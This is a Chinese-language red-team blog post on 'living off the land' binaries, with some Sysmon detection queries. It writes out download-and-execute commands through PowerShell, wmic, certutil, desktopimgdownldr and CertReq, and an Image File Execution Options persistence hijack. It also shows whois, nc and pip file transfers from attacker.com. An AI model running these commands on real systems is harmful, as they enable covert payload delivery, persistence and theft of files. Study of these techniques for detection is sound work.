浅谈Living Off the Land Binaries

 

什么是Living off the land Binaries?

Living off the land Binaries简称LoLbins。Living off the land 是由ChristopherCampbell和MattGraeber提出的。Lolbins为二进制文件。攻击方可以通过该二进制文件执行超出其本身功能的工作。

这个下载二进制文件还要你讲?和我自己做的C2下载文件有啥区别!大佬别急,听我说。

 

LOLbins/lib/script 定义

1.它是操作系统本身文件,或者是从Microsoft下载的文件。总之它必须带有windows自身签名文件。

2.由于是windows自身签名文件,所以一般天然带有免杀的属性,能通过很多应用程序的白名单。

3.它具有APT功能或者一些对我们红队有用的功能。像去年2019年TA505利用LoLbin和新型后门攻击金融行业。

 

LoLbin功能:

1.执行代码

任意代码执行。

通过LOLbins执行其他程序(未带微软签名)或者脚本。

2.代码编译

3.文件操作

正在下载;

上传;

复制。

4.持久性权限维持

利用现有的LOLBins来做权限维持。

持久性(比如通过隐藏数据在AD中,在登录时候启动。)

5.UAC Bypass

6.转储进程内存

7.监控(例如键盘记录器,网络跟踪等等)。

8.逃避/修改日志

9.不需要重定位到文件系统其他位置的DLLinjected/side-loading。

 

常见的下载LoLbins

要说到LOLbins最著名且最常见的是PowerShell以及Windows管理工具WMI还有CertUtil工具。讲download为主的lolbin。

PowerShell:

Windows PowerShell  是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用.NETFramework的强大功能。

在服务器上设置一个打开计算器的ps脚本。

远程下载命令:

(New-Object Net.WebClient).DownloadString("http://xx.xx.xx.xx /test.ps1")

远程下载&执行命令:

Invoke-Expression (New-Object
Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")

WMI:

WMIC扩展WMI,提供了从命令行接口和批命令脚本执行系统管理的支持。

服务器上远程放xsl文件:

远程下载执行命令:

os get /format:"http://xx.xx.xx.xxx/test2.xsl"

绑定程序运行(当test.exe运行时,cmd.exe也将运行):

wmic.exe process call create "C:\\Windows\\system32\\reg.exe add

\\\\"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File

Execution

Options\\test.exe\\" /v \\"Debugger\\" /t REG_SZ /d \\"cmd.exe\\"/
f"

当然还有之前比较火的无文件wmic后门等等。。。。

CertUtil

CertUtil.exe是Microsoft旨在用于处理证书颁发机构(CA)数据和组件的管理命令行工具。这包括验证证书和证书链,转储和显示CA配置信息以及配置证书服务。

路径:

C:\Windows\System32\certutil.exe

C:\Windows\SysWOW64\certutil.exe

下载命令:

certutil.exe -urlcache -f UrlAddress Output-File-Name.txt

远程下载并隐藏在ADS数据流中:

certutil.exe -urlcache -split -f https://xx.xx.xx.xx/xx c:\\temp:ttt

这三者大部分已经能大多数AV,EDR等等识别。。。

所以我们需要新的LOLbin来执行我们的要达到的效果。

 

新型下载LOLBIN

Desktopimgdownldr.exe功能

用于设置锁定屏幕或桌面背景图像作为个性化CSP一部分.CSP在WIN10 1703之后引入。

用户如果没有用过CSP,那么路径不存在。

C:\Windows\Personalization

默认图片下载和存放路径:

C:\windows\Personalization\LockScreenImage\LockScreenImage_%random%.jpg

Desktopimgdownldr默认用法:

desktopimgdownldr /lockscreenurl:https://domain.com:8080/file.exe /
eventName:randomname

用法

管理员运行,该文件会设置并覆盖用户锁定的屏幕图像,并生成注册表,我们需要将其注册表删除,避免将其屏幕覆盖。

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 && reg delete
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP
/f

注册表路径:

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP

由于二进制文件desktopimgdownldr中的FunctionSHExpandEnvironmentStringsW使用硬编码地址,所以非管理员也能使用,而且无需注册表。

%systemroot%\Personalization\LockScreenImage

普通用户运行:

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 /eventName:desktopimgdownldr

Debug

个人进行尝试的时候,发现普通用户执行命令不能成功执行命令。

管理员执行成功了。同时生成了注册表。

C:\Windows\system32>desktopimgdownldr
/lockscreenurl:http://xx.xxx.xx.xx/test.ps1 /eventName:randomname

我的机器环境使用了COM +注册目录。因为修改了%systemroot%目录导致文件找不到它。

mklink /J "%TEMP%\Registration" C:\windows\Registration && set
"SYSTEMROOT=%TEMP%" && cmd /c desktopimgdownldr.exe
/lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr &
rmdir /s /q "%TEMP%\Registration"

重新建立软连接后可以在普通用户下成功运行。

有意思的是我用ProcessMonitor发现与之通信的是svhosts而不是desktopimgdownldrPM过滤后筛选出来desktopimgdownldr却没有任何网络流量。

筛选出svchost的网络流量,确实是svchost与服务器通信。

wireshark跟踪tcp流信息。

建议

在sysmon中对其监控:

Event| where Source == "Microsoft-Windows-Sysmon"| where RenderedDescription
has "desktopimgdownldr.exe"| extend a = parse_xml(EventData)| extend
CommandLine =
tostring(parse_json(tostring(parse_json(tostring(parse_json(tostring(a.DataItem)).EventData)).Data))[10].["#text"])|
project TimeGenerated, CommandLine, Computer, EventData, RenderedDescription,
UserName

| sort by TimeGenerated desc

 

CertReq

功能

certreq命令可用于从证书颁发机构(CA)请求证书,从CA检索对先前请求的响应,从.inf文件创建新请求,接受并安装对请求的响应,根据现有的CA证书或请求构造交叉认证或合格的从属请求,并签署交叉认证或合格的从属请求。  原本用于帮助windows进行证书认证。还能够作为上传,下载的重要工具。

用法

上传请求:

CertReq -Post -config https://example.org/ c:\windows\win.ini

下载POST请求,并显示内容(支持HTTP与HTTPS):

CertReq -Post -config https://example.org/ c:\windows\win.ini

下载POST请求,并保存到本地(支持HTTP与HTTPS):

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Debug

个人测试的时候小文件是可以直接下载,估计50多kb左右,大文件会报错。

小文件:

大文件:

建议

在sysmon中对其进行监控其中的json内容:

Event| where Source == "Microsoft-Windows-Sysmon" and RenderedDescription has
"OriginalFileName: CertReq.exe"| extend EventFullData = parse_xml(EventData)|
parse EventData with * 'OriginalFileName">'OriginalFileName '</Data>'*|
parse EventData with * 'CommandLine">'Commandline '</Data>'*| project
TimeGenerated, OriginalFileName, Commandline, Computer, EventID, UserName,
EventFullData

| sort by TimeGenerated desc

 

Unix-GTFOBins

windows有LOLbins,Unix下当然也有。

whois用法

攻击机器监听

nc -l -p 12345 < "file_to_send"

靶机

RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT > "$LFILE"

同理也能传递二进制文件,进行base64位编码。

base64 "file_to_send" | nc -l -p 12345
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"

PIP用法

利用php install来下载文件。

export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py
pip install $TF

 

总结

LOLbins在实际攻击中除了上面说的下载功能,往往还有很多功能。比如REVERSESHELL,Sudo,SUID,Execute,其中某些bins在AWLpypass有奇效。在红队行动和APT攻击上有着不可忽视的作用。

参考链接:

https://lolbas-project.github.io/
https://github.com/LOLBAS-Project/LOLBAS
Living Off Windows Land – A New Native File “downldr”
https://docs.microsoft.com/en-us/windows/win32/cossdk/the-com--catalog https://github.com/WojciechLesicki/TH/blob/master/KQL-queries.txt https://gtfobins.github.io/
(完)